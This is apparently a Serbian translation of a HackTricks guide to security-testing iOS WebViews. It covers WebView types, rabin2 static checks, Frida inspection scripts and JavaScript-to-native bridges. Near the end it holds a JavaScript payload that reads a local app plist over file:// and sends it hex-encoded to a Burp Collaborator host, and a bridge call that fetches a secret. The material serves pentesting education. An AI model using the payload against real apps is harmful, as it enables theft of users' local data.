iOS WebViews

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Kod ove stranice je izvučen ovde. Proverite stranicu za dalje detalje.

Tipovi WebViews-a

WebViews se koriste unutar aplikacija kako bi interaktivno prikazivale web sadržaj. Različiti tipovi WebViews-a nude različite funkcionalnosti i sigurnosne karakteristike za iOS aplikacije. Evo kratkog pregleda:

  • UIWebView, koji više nije preporučen od iOS 12 zbog nedostatka podrške za onemogućavanje JavaScript-a, što ga čini podložnim ubacivanju skripti i napadima Cross-Site Scripting (XSS).

  • WKWebView je preferirana opcija za uključivanje web sadržaja u aplikacije, nudeći unapređenu kontrolu nad sadržajem i sigurnosne karakteristike. JavaScript je podrazumevano omogućen, ali se može onemogućiti ako je potrebno. Takođe podržava funkcije za sprečavanje automatskog otvaranja prozora putem JavaScript-a i obezbeđuje da se sav sadržaj učitava sigurno. Dodatno, arhitektura WKWebView-a minimizira rizik od korupcije memorije koja utiče na glavni proces aplikacije.

  • SFSafariViewController nudi standardizovano iskustvo pregledanja weba unutar aplikacija, prepoznatljivo po svom specifičnom izgledu koji uključuje samo polje za adresu, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safari-ju. Za razliku od WKWebView-a, JavaScript ne može biti onemogućen u SFSafariViewController-u, koji takođe deli kolačiće i podatke sa Safari-jem, čuvajući privatnost korisnika od aplikacije. Moraju biti jasno prikazani u skladu sa smernicama App Store-a.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Pregled konfiguracije WebViews-a

Pregled statičke analize

U procesu ispitivanja konfiguracija WebViews-a, fokus je na dva osnovna tipa: UIWebView i WKWebView. Za identifikaciju ovih WebViews-a unutar binarnog fajla, koriste se komande koje traže određene reference klasa i metode inicijalizacije.

  • Identifikacija UIWebView-a

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Ova komanda pomaže u pronalaženju instanci UIWebView pretraživanjem tekstualnih nizova povezanih s njim u binarnom kodu.

  • Identifikacija WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Slično tome, za WKWebView, ovaj komanda pretražuje binarni fajl za tekstualne niske koji ukazuju na njegovu upotrebu.

Osim toga, da biste pronašli kako je WKWebView inicijalizovan, izvršava se sledeća komanda, ciljajući na potpis metode koji je povezan sa njegovom inicijalizacijom:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Provera konfiguracije JavaScript-a

Za WKWebView, istaknuto je da je najbolja praksa onemogućiti JavaScript osim ako nije potrebno. Pretražuje se kompilirana binarna datoteka da bi se potvrdilo da je svojstvo javaScriptEnabled postavljeno na false, čime se osigurava da je JavaScript onemogućen:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Samo provera sigurnog sadržaja

WKWebView nudi mogućnost identifikacije problema sa mešovitim sadržajem, za razliku od UIWebView-a. Ovo se proverava korišćenjem svojstva hasOnlySecureContent kako bi se osiguralo da se svi resursi stranice učitavaju putem sigurnih veza. Pretraga u kompajliranom binarnom kodu se izvodi na sledeći način:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Dinamička analiza uvida

Dinamička analiza uključuje pregledanje hipa za instance WebView-a i njihove osobine. Skripta nazvana webviews_inspector.js koristi se u tu svrhu, ciljajući instance UIWebView, WKWebView i SFSafariViewController. Ona beleži informacije o pronađenim instancama, uključujući URL-ove i postavke vezane za JavaScript i siguran sadržaj.

Pregled hipa može se sprovesti korišćenjem ObjC.choose() da bi se identifikovale instance WebView-a i proverile osobine javaScriptEnabled i hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Skripta se izvršava sa:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Ključni rezultati:

  • Pronađeni su i pregledani instanci WebViews.

  • Proverena je omogućenost JavaScript-a i postavke sigurnog sadržaja.

Ovaj sažetak obuhvata ključne korake i komande u analizi konfiguracija WebView-a kroz statičke i dinamičke pristupe, fokusirajući se na sigurnosne funkcije poput omogućenosti JavaScript-a i detekcije mešovitog sadržaja.

Obrada protokola WebView-a

Obrada sadržaja u WebView-ima je ključni aspekt, posebno kada se radi sa različitim protokolima kao što su http(s)://, file:// i tel://. Ovi protokoli omogućavaju učitavanje i udaljenog i lokalnog sadržaja unutar aplikacija. Naglašava se da prilikom učitavanja lokalnog sadržaja treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju datoteke i da uređuju sam sadržaj.

WebViews nude različite metode za učitavanje sadržaja. Za UIWebView, koji je sada zastareo, koriste se metode poput loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. Sa druge strane, WKWebView koristi loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: i loadRequest: za web sadržaj. Metode poput pathForResource:ofType:, URLForResource:withExtension: i init(contentsOf:encoding:) se obično koriste za učitavanje lokalnih datoteka. Metoda loadFileURL:allowingReadAccessToURL: je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, potencijalno izlažući osetljive podatke ako je naveden direktorijum.

Da biste pronašli ove metode u izvornom kodu ili kompiliranom binarnom fajlu, mogu se koristiti sledeće komande:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

Što se tiče pristupa datotekama, UIWebView to omogućava univerzalno, dok WKWebView uvodi postavke allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs za upravljanje pristupom putem URL-ova datoteka, pri čemu su oba po defaultu postavljena na false.

Pružen je primer Frida skripte za pregled konfiguracija WKWebView-a za sigurnosne postavke:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Na kraju, primer JavaScript payloada koji ima za cilj izvlačenje lokalnih fajlova pokazuje potencijalni sigurnosni rizik povezan sa nepravilno konfigurisanim WebViews-om. Ovaj payload enkodira sadržaj fajlova u heksadecimalni format pre slanja na server, ističući važnost stroge sigurnosne mere u implementaciji WebView-a.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Izlaganje nativnih metoda putem WebView-a

Razumevanje nativnih interfejsa WebView-a u iOS-u

Od iOS 7 nadalje, Apple je pružio API-je za komunikaciju između JavaScript-a u WebView-u i nativnih Swift ili Objective-C objekata. Ova integracija se uglavnom olakšava kroz dve metode:

  • JSContext: JavaScript funkcija se automatski kreira kada se Swift ili Objective-C blok poveže sa identifikatorom unutar JSContext-a. Ovo omogućava besprekornu integraciju i komunikaciju između JavaScript-a i nativnog koda.

  • JSExport protokol: Nasleđivanjem JSExport protokola, nativna svojstva, instance metode i klase metode mogu biti izložene JavaScript-u. Ovo znači da se bilo koje promene napravljene u JavaScript okruženju ogledaju u nativnom okruženju, i obrnuto. Međutim, važno je osigurati da osetljivi podaci ne budu nenamerno izloženi putem ove metode.

Pristupanje JSContext-u u Objective-C-u

U Objective-C-u, JSContext za UIWebView može se dobiti sledećim kodom:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Komunikacija sa WKWebView

Za WKWebView, direktni pristup JSContext-u nije dostupan. Umesto toga, koristi se prenos poruka putem funkcije postMessage, omogućavajući JavaScript-u da komunicira sa nativnom aplikacijom. Handleri za ove poruke se podešavaju na sledeći način, omogućavajući JavaScript-u da sigurno interaguje sa nativnom aplikacijom:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interakcija i testiranje

JavaScript može da komunicira sa nativnim slojem definisanjem handlera za poruke skripte. Ovo omogućava operacije poput pozivanja nativnih funkcija sa veb stranice:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Da biste uhvatili i manipulisali rezultatom poziva native funkcije, možete prebrisati callback funkciju unutar HTML-a:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Nativna strana obrađuje JavaScript poziv kao što je prikazano u klasi JavaScriptBridgeMessageHandler, gde se rezultat operacija kao što je množenje brojeva obrađuje i šalje nazad JavaScript-u radi prikaza ili dalje manipulacije:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugiranje iOS WebViews

(Tutorijal zasnovan na https://blog.vuplex.com/debugging-webviews)

Da biste efikasno debugirali web sadržaj unutar iOS webview-ova, potrebna je određena konfiguracija koja uključuje Safari-jeve alate za razvoj zbog činjenice da poruke poslate putem console.log() nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča koji naglašava ključne korake i zahteve:

  • Priprema na iOS uređaju: Safari Web Inspector treba biti aktiviran na vašem iOS uređaju. To se postiže odlaskom na Podešavanja > Safari > Napredno, i omogućavanjem Web Inspector-a.

  • Priprema na macOS uređaju: Na vašem macOS razvojnom računaru, morate omogućiti alate za razvoj unutar Safari-ja. Pokrenite Safari, pristupite Safari > Preferences > Advanced, i izaberite opciju Show Develop menu.

  • Povezivanje i debugiranje: Nakon što povežete svoj iOS uređaj sa svojim macOS računarom i pokrenete aplikaciju, koristite Safari na svom macOS uređaju da biste izabrali webview koji želite da debugirate. Idite na Develop u Safari-jevoj traci sa menijem, pređite mišem preko imena vašeg iOS uređaja da biste videli listu instanci webview-a, i izaberite instancu koju želite da pregledate. Otvara se novi prozor Safari Web Inspector-a u tu svrhu.

Međutim, budite svesni ograničenja:

  • Debugiranje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.

  • Samo webview-ovi u aplikacijama učitanim na vaš uređaj putem Xcode-a su pogodni za debugiranje. Webview-ovi u aplikacijama instaliranim putem App Store-a ili Apple Configurator-a ne mogu se debugirati na ovaj način.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated